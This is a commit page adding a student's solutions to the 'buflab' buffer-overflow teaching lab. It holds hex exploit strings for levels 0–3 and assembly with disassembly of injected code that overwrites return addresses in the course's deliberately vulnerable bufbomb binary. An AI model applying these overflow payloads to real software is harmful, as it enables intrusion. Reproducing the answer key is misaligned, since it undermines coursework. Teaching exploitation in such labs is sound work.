Lab 3 buflab solutions.

forhappy · Nov 21, 2011 · 8c1db3b · 8c1db3b
1 parent 8b11b3e
commit 8c1db3b
Show file tree

Hide file tree

Showing 14 changed files with 1,199 additions and 0 deletions.
diff --git a/Solutions/buflab/bufbomb b/Solutions/buflab/bufbomb
diff --git a/Solutions/buflab/bufbomb.asm b/Solutions/buflab/bufbomb.asm
diff --git a/Solutions/buflab/cookie b/Solutions/buflab/cookie
@@ -0,0 +1 @@
+0x3c5a88bd
diff --git a/Solutions/buflab/exploit-lvl0.txt b/Solutions/buflab/exploit-lvl0.txt
@@ -0,0 +1 @@
+31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 10 8a 04 08
diff --git a/Solutions/buflab/exploit-lvl1.txt b/Solutions/buflab/exploit-lvl1.txt
@@ -0,0 +1 @@
+31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 46 8a 04 08 31 32 33 34 bd 88 5a 3c
diff --git a/Solutions/buflab/exploit-lvl2.d b/Solutions/buflab/exploit-lvl2.d
@@ -0,0 +1,11 @@
+
+exploit-lvl2.o:     file format elf32-i386
+
+
+Disassembly of section .text:
+
+00000000 <.text>:
+   0:	b8 bd 88 5a 3c       	mov    $0x3c5a88bd,%eax
+   5:	a3 00 00 00 00       	mov    %eax,0x0
+   a:	68 bd 88 5a 3c       	push   $0x3c5a88bd
+   f:	c3                   	ret    
diff --git a/Solutions/buflab/exploit-lvl2.s b/Solutions/buflab/exploit-lvl2.s
@@ -0,0 +1,4 @@
+movl $0x3c5a88bd, %eax
+movl %eax, global_value 
+push $0x3c5a88bd
+ret
diff --git a/Solutions/buflab/exploit-lvl2.txt b/Solutions/buflab/exploit-lvl2.txt
@@ -0,0 +1 @@
+b8 bd 88 5a 3c a3 e0 a1 04 08 68 9e 8a 04 08 c3 31 32 33 34 35 36 37 38 31 32 33 34 b8 75 58 55
diff --git a/Solutions/buflab/exploit-lvl3-old.txt b/Solutions/buflab/exploit-lvl3-old.txt
@@ -0,0 +1 @@
+b8 bd 88 5a 3c c7 05 d0 75 58 55 f0 75 58 55 c7 05 d4 75 58 55 1a 8b 04 08 c9 c3 31 b8 75 58 55
diff --git a/Solutions/buflab/exploit-lvl3.d b/Solutions/buflab/exploit-lvl3.d
@@ -0,0 +1,13 @@
+
+exploit-lvl3.o:     file format elf32-i386
+
+
+Disassembly of section .text:
+
+00000000 <.text>:
+   0:	b8 bd 88 5a 3c       	mov    $0x3c5a88bd,%eax
+   5:	c7 45 00 f0 75 58 55 	movl   $0x555875f0,0x0(%ebp)
+   c:	c7 45 04 1a 8b 04 08 	movl   $0x8048b1a,0x4(%ebp)
+  13:	89 ec                	mov    %ebp,%esp
+  15:	5d                   	pop    %ebp
+  16:	c3                   	ret    
diff --git a/Solutions/buflab/exploit-lvl3.s b/Solutions/buflab/exploit-lvl3.s
@@ -0,0 +1,6 @@
+movl $0x3c5a88bd, %eax
+movl $0x555875f0, 0x0(%ebp) 
+movl $0x08048b1a, 0x04(%ebp)
+movl %ebp, %esp
+popl %ebp
+ret
diff --git a/Solutions/buflab/exploit-lvl3.txt b/Solutions/buflab/exploit-lvl3.txt
@@ -0,0 +1 @@
+b8 bd 88 5a 3c c7 45 00 f0 75 58 55 c7 45 04 1a 8b 04 08 89 ec 5d c3 31 f0 75 58 55 b8 75 58 55
diff --git a/Solutions/buflab/makecookie b/Solutions/buflab/makecookie
diff --git a/Solutions/buflab/sendstring b/Solutions/buflab/sendstring
Original file line number	Diff line number	Diff line change
		@@ -0,0 +1 @@
		31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 31 32 33 34 10 8a 04 08
Original file line number	Diff line number	Diff line change
		@@ -0,0 +1 @@
		b8 bd 88 5a 3c a3 e0 a1 04 08 68 9e 8a 04 08 c3 31 32 33 34 35 36 37 38 31 32 33 34 b8 75 58 55
Original file line number	Diff line number	Diff line change
		@@ -0,0 +1 @@
		b8 bd 88 5a 3c c7 05 d0 75 58 55 f0 75 58 55 c7 05 d4 75 58 55 1a 8b 04 08 c9 c3 31 b8 75 58 55
Original file line number	Diff line number	Diff line change
		@@ -0,0 +1 @@
		b8 bd 88 5a 3c c7 45 00 f0 75 58 55 c7 45 04 1a 8b 04 08 89 ec 5d c3 31 f0 75 58 55 b8 75 58 55